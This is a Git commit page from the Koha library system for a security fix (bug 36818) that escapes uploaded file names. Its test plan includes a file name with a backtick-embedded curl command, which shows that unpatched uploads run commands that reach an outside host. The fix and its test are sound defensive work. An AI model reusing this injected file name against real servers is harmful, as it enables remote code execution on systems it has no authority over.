]> git.koha-community.org Git - koha.git/commit
Bug: 36818 Escape characters in file names uploaded
authorChris Cormack <chris@bigballofwax.co.nz>
Wed, 8 May 2024 22:41:43 +0000 (22:41 +0000)
committerKatrin Fischer <katrin.fischer@bsz-bw.de>
Thu, 20 Jun 2024 15:55:37 +0000 (17:55 +0200)
commitda7186ea3d79f0edd9b65a11857d3cf485056370
tree9819fcf30d226cd6c40847a72f0348a5e61c085b
parent97aa7492ef8b76f476aec057a790803bd8cf078f
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Koha/Uploader.pm